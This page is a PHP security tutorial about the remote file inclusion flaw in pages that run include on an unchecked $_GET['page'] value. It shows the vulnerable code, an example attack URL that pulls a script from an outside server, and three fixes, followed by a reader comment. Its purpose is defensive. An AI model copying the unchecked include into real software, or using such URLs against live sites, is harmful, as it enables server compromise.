• home
  • forum
  • my
  • kt
  • download
  • PHP Security: GET - include

    Author: 2008-08-16 11:53:03 From:

    In this tutorial we will talk about a very common security flaw.

    I will explain how to make a GET -> Include system. In other words, think about an url like: index.php?page=links. The GET variable, in this case "page" will contain the string "links". And after people got this value, they write this kind of line into their page:
    php
    1
    2
    3
    4
    5

    <?php
     
    include $_GET['page'].'php';
     
    ?>
     

    Or something similar. But in the end, they include the page without checking if it exists or any other safety check.

    Much people out there use this, while this is very dangerous for your website. I saw many websites on the web that were hacked because of this system. (or cracked, whatever you want to call it)

    Now you want to know why this is dangerous right? Well, it is very dangerous because php can include pages from another server! So php could also include a page from lets say, google.com. And if it will find a php source, it will execute it.

    Now don't think everybody can steal your php code, no thats not true. Php can only read other code that's visible for the visitors. Take the following example.

    PHP:


    Open the source of this website, and you will notice that there is php code you can read.

    So lets say, i have a dangerous php script. And i know a website which can read my code? The following url could read it: index.php?page=http://aserver.com/dangerous. (i didnt placed .php behind it, because as you can see in the first php example code, the script pops .php to the end)

    My page would be generated by that server, and you can imagine what that could do to a server right?

    The remedy!

    There are quite a few things that could help destroying this security flaw on your server. I will handle three of them.

    First is "allow_url_fopen". This is something you set in your php configuration file. When this is set on, php will be able to read scripts from another server. When it's off, php can only read files from the server it's installed on. This is a nice remedy for the problem, but i do it a bit different. What if you got a script that needs information from another server, and you need to include it? (doesn't happen often, but still keep it in mind)

    Second in my list is "file_exists". You will use this in combination with an "if" statement. This will check if the file exists on the local server. It is not able to check if files from another server exists. So this could be quite a good remedy! I will show you an example below:
    php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18

    <?php
     
    // get the name of the file the user wants to read.
    $file = $_GET['page'].'.php'; 
     
    // check if the file exists.
    if (file_exists($file)) {
     
    	// it exists!
    	include $file;
     
    } else {
     
    	echo'This page doesn\'t exist. Please try again.<br>';
     
    }
     
    ?>
     

    This is already a far better solution in my opinion.

    But on this way people can open all the php documents in the folder. You may dislike this, so lets do it again a bit different.

    A very simple, but also very effective way is to use an if statement. There is not much to discuss about, so lets see an example:
    php
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20

    <?php
     
    // check if the page is links?
    if ($_GET['page'] == 'links') { 
     
    	include 'links.php';
     
    // check if the page is aboutMe?
    } elseif ($_GET['page'] == 'aboutMe') {
     
    	include 'aboutme.php';
     
    // could not find any of the pages?
    } else {
     
    	echo 'This page doesn\'t exist. Please try again.<br>';
     
    }
     
    ?>
     

    This may not be the most pretty way to solve the problem. But it is very effective, and everyone with basic knowledge of php understands this.

    Replies on PHP Security: GET - include:
    Jump to comment page: 1

     By Jim on Monday 29 January 2007 16:26

    Well, it will work. But i still advice you to use another type of security with this.

    It will be allot more save. But like this it would still be able to include every file in the folder (or lower) which could be dangerous. Maybe not in your site, but you should always keep it in mind. For other websites may not allow some people to load some files. (first need http auth)

    It will be good practise to learn it on a 100% good way.

    discuss this topic to forum

    relation tutorial

    No relevant information

    Category

      Ad Management (4)
      Calendars (3)
      Chat Systems (7)
      Content Management (6)
      Cookies and Sessions (8)
      Counters (8)
      Database Related (8)
      Date and Time (9)
      Development (6)
      Discussion Boards (7)
      E Commerce (6)
      Email Systems (9)
      Error Handling (5)
      File Manipulation (10)
      Flash and PHP (4)
      Form Processing (7)
      Guestbooks (8)
      Image Manipulation (3)
      Installing PHP (5)
      Introduction to PHP (9)
      Link Indexing (6)
      Mailing List Management (8)
      Miscellaneous (10)
      Networking (6)
      News Publishing (6)
      OOP (8)
      PEAR (6)
      PHP vs Other Languages (2)
      Polls and Voting (5)
      Postcards (0)
      Randomizing (8)
      Redirection (8)
      Searching (6)
      Security (20)
      Site Navigation (16)
      User Authentication (14)
      WAP and WML (7)
      Web Fetching (8)
      Web Traffic Analysis (15)
      XML and PHP (16)

    New

    Hot